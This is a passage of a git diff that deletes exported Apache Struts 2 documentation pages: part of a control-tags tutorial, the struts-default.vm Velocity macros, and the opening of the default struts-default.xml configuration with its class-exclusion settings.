-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts Control Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="struts-control-tags.html">Struts Control Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts Control Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838827">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838827">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838827">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838827">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, control_tags, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a></p></div [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:if test="personBean.over21"&gt;
-    &lt;p&gt;You are old enough to vote!&lt;/p&gt;
-&lt;/s:if&gt;
-&lt;s:else&gt;
-   &lt;p&gt;You are NOT old enough to vote.&lt;/p&gt;
-&lt;/s:else&gt;
-</pre>
-</div></div><p>The Struts if tag has a test attribute. The value of the test attribute must evaluate to true or false. If true the statements between the opening and closing s:if tags will be executed. If false, the statements between the opening and closing s:else tags will be executed. Note that s:else tags come after the closing s:if tag and that the s:else tags are not required.</p><p>In the above example the Struts framework will call method getPersonBean exposed by the Action class [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:if test="personBean.carModels.length &gt; 1"&gt;
-	&lt;p&gt;Car models
-&lt;/s:if&gt;
-&lt;s:else&gt;
-   &lt;p&gt;Car model
-&lt;/s:else&gt;
-</pre>
-</div></div><p>The purpose of the above markup is to use either "Car model" or "Car models" depending on how many car models the user selected on the edit page. So the value for the test attribute of this iterator tag gets the length of the carModels String array and compares that to 1. If it's greater then 1, the correct grammar is "Car models" else the correct grammar is "Car model".</p><h3 id="StrutsControlTags-StrutsiteratorTag">Struts iterator Tag</h3><p>The Struts iterator tag is u [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;table style="margin-left:15px"&gt;
-	&lt;s:iterator value="personBean.carModels"&gt;
-		&lt;tr&gt;&lt;td&gt;&lt;s:property /&gt;&lt;/td&gt;&lt;/tr&gt;
-	&lt;/s:iterator&gt;
-&lt;/table&gt;
-</pre>
-</div></div><p>The goal of this code is to create an HTML table with a row that display a car model selected by the user on the edit page. The car models the user selects on the edit page are stored in the carModels field (a String array) of the personBean object (of class Person).</p><p>The iterator tag has a value attribute that must evaluate to a collection (Array, List, Map).</p><p>The s:property tag nested inside the iterator tag is used to display the specific value of the collecti [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;table style="margin-left:15px"&gt;
-	&lt;s:iterator value="states" &gt;	
-		&lt;tr&gt;&lt;td&gt;&lt;s:property value="stateAbbr" /&gt;&lt;/td&gt; &lt;td&gt;&lt;s:property value="stateName" /&gt;&lt;/tr&gt;
-	&lt;/s:iterator&gt;
-&lt;/table&gt;
-</pre>
-</div></div><p>The value of the iterator tag is states, which causes the Struts 2 framework to call the getStates method of the Action class (EditAction.java). The getStates method returns a List of State objects. The State class has two fields stateAbbr and stateName, both having the appropriate get method. The iterator will loop over each State object stored in the collection. Each time through the loop, the Struts 2 framework will have a reference to the current State object and will  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-defaultvm.html b/content/docs/struts-defaultvm.html
deleted file mode 100644
index 751188f..0000000
--- a/content/docs/struts-defaultvm.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>struts-default.vm</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="struts-defaultvm.html">struts-default.vm</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">struts-default.vm</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13891">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13891">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13891">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13891">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13891">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13891">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>If Velocity is being use, the <code>struts-default.vm</code> supplies some VelocityMacros that might be useful.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts-default.vm</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#macro(bean $bean_name $name)
-   #set ($name = $action.bean($bean_name))
-#end
-
-#macro(includeservlet $name)
-  $action.include($name,$req,$res)
-#end
-
-#macro(url $name)
-   #set ($name = $action.bean("org.apache.struts.util.URLBean"))
-   $name.setRequest($req)
-   $name.setResponse($res)
-#end
-
-#macro(property $object $property)
-$!{ognl.findValue($property, $object)}
-#end
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-defaultxml.html b/content/docs/struts-defaultxml.html
deleted file mode 100644
index 088d64d..0000000
--- a/content/docs/struts-defaultxml.html
+++ /dev/null
@@ -1,552 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>struts-default.xml</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="struts-defaultxml.html">struts-default.xml</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">struts-default.xml</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13819">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13819">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13819">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13819">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13819">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13819">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A base configuration file named <code>struts-default.xml</code> is included in the <code>struts2.jar</code> file. This file is automatically included into <code>struts.xml</code> file to provide the standard configuration settings without having to copy them.</p><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class= [...]
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;
-&lt;!--
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
---&gt;
-
-&lt;!--
-    When declaring beans in this file you must either use name=&quot;struts&quot; or don&#39;t name the bean at all.
-
-    The name=&quot;struts&quot; must be used when alias was defined in {@link org.apache.struts2.config.DefaultBeanSelectionProvider} -
-    it is then the default bean&#39;s name and {@link org.apache.struts2.config.DefaultBeanSelectionProvider} links name &quot;struts&quot;
-    with &quot;default&quot; (aliasing it)
-
-    If name won&#39;t be defined then the &quot;default&quot; value will be used {@link com.opensymphony.xwork2.inject.Container#DEFAULT_NAME}
-    and {@link com.opensymphony.xwork2.inject.Inject}
---&gt;
-&lt;!DOCTYPE struts PUBLIC
-    &quot;-//Apache Software Foundation//DTD Struts Configuration 2.5//EN&quot;
-    &quot;http://struts.apache.org/dtds/struts-2.5.dtd&quot;&gt;
-
-&lt;struts&gt;
-
-    &lt;constant name=&quot;struts.excludedClasses&quot;
-              value=&quot;
-                java.lang.Object,
-                java.lang.Runtime,
-                java.lang.System,
-                java.lang.Class,
-                java.lang.ClassLoader,
-                java.lang.Shutdown,
-                java.lang.ProcessBuilder,
-                ognl.OgnlContext,
-                ognl.ClassResolver,
-                ognl.TypeConverter,
-                ognl.MemberAccess,
-                ognl.DefaultMemberAccess,
-                com.opensymphony.xwork2.ognl.SecurityMemberAccess,
-                com.opensymphony.xwork2.ActionContext&quot; /&gt;
-
-    &lt;!-- this must be valid regex, each &#39;.&#39; in package name must be escaped! --&gt;
-    &lt;!-- it&#39;s more flexible but slower than simple string comparison --&gt;
-    &lt;!-- constant name=&quot;struts.excludedPackageNamePatterns&quot; value=&quot;^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)&quot; / --&gt;
-
-    &lt;!-- this is simpler version of the above used with string comparison --&gt;
-    &lt;constant name=&quot;struts.excludedPackageNames&quot;
-              value=&quot;
-                java.lang.,
-                ognl.,
-                javax,
-                freemarker.core.,
-                freemarker.template.,
-                freemarker.ext.rhino.,
-                freemarker.ext.beans.,
-                sun.reflect.,
-                javassist.&quot; /&gt;
-
-    &lt;bean class=&quot;com.opensymphony.xwork2.ObjectFactory&quot; name=&quot;struts&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.ResultFactory&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.factory.StrutsResultFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.ActionFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.factory.DefaultActionFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.ConverterFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.factory.DefaultConverterFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.InterceptorFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.factory.DefaultInterceptorFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.ValidatorFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.factory.DefaultValidatorFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.factory.UnknownHandlerFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.factory.DefaultUnknownHandlerFactory&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.FileManager&quot; class=&quot;com.opensymphony.xwork2.util.fs.DefaultFileManager&quot; name=&quot;system&quot; scope=&quot;singleton&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.FileManagerFactory&quot; class=&quot;com.opensymphony.xwork2.util.fs.DefaultFileManagerFactory&quot; name=&quot;struts&quot; scope=&quot;singleton&quot;/&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.ActionProxyFactory&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.factory.StrutsActionProxyFactory&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.ActionProxyFactory&quot; name=&quot;prefix&quot; class=&quot;org.apache.struts2.factory.PrefixBasedActionProxyFactory&quot;/&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.ObjectTypeDeterminer&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultObjectTypeDeterminer&quot;/&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.PatternMatcher&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.util.WildcardHelper&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.PatternMatcher&quot; name=&quot;namedVariable&quot; class=&quot;com.opensymphony.xwork2.util.NamedVariablePatternMatcher&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.PatternMatcher&quot; name=&quot;regex&quot; class=&quot;org.apache.struts2.util.RegexPatternMatcher&quot;/&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.util.ContentTypeMatcher&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.util.DefaultContentTypeMatcher&quot;/&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.mapper.ActionMapper&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.dispatcher.mapper.DefaultActionMapper&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.mapper.ActionMapper&quot; name=&quot;composite&quot; class=&quot;org.apache.struts2.dispatcher.mapper.CompositeActionMapper&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.mapper.ActionMapper&quot; name=&quot;restful&quot; class=&quot;org.apache.struts2.dispatcher.mapper.RestfulActionMapper&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.mapper.ActionMapper&quot; name=&quot;restful2&quot; class=&quot;org.apache.struts2.dispatcher.mapper.Restful2ActionMapper&quot; /&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.multipart.MultiPartRequest&quot; name=&quot;jakarta&quot; class=&quot;org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest&quot; scope=&quot;prototype&quot;/&gt;
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.multipart.MultiPartRequest&quot; name=&quot;jakarta-stream&quot; class=&quot;org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest&quot; scope=&quot;prototype&quot;/&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.views.TagLibraryDirectiveProvider&quot; name=&quot;s&quot; class=&quot;org.apache.struts2.views.DefaultTagLibrary&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.views.TagLibraryModelProvider&quot; name=&quot;s&quot; class=&quot;org.apache.struts2.views.DefaultTagLibrary&quot; /&gt;
-
-    &lt;bean class=&quot;org.apache.struts2.views.freemarker.FreemarkerThemeTemplateLoader&quot; /&gt;
-    &lt;bean class=&quot;org.apache.struts2.views.freemarker.FreemarkerManager&quot; name=&quot;struts&quot; /&gt;
-    &lt;bean class=&quot;org.apache.struts2.views.velocity.VelocityManager&quot; name=&quot;struts&quot; optional=&quot;true&quot; /&gt;
-
-    &lt;bean class=&quot;org.apache.struts2.components.template.TemplateEngineManager&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.components.template.TemplateEngine&quot; name=&quot;ftl&quot; class=&quot;org.apache.struts2.components.template.FreemarkerTemplateEngine&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.components.template.TemplateEngine&quot; name=&quot;vm&quot; class=&quot;org.apache.struts2.components.template.VelocityTemplateEngine&quot; /&gt;
-    &lt;bean type=&quot;org.apache.struts2.components.template.TemplateEngine&quot; name=&quot;jsp&quot; class=&quot;org.apache.struts2.components.template.JspTemplateEngine&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.XWorkConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.XWorkConverter&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.ConversionPropertiesProcessor&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultConversionPropertiesProcessor&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.ConversionFileProcessor&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultConversionFileProcessor&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.ConversionAnnotationProcessor&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultConversionAnnotationProcessor&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.TypeConverterCreator&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultTypeConverterCreator&quot; /&gt;
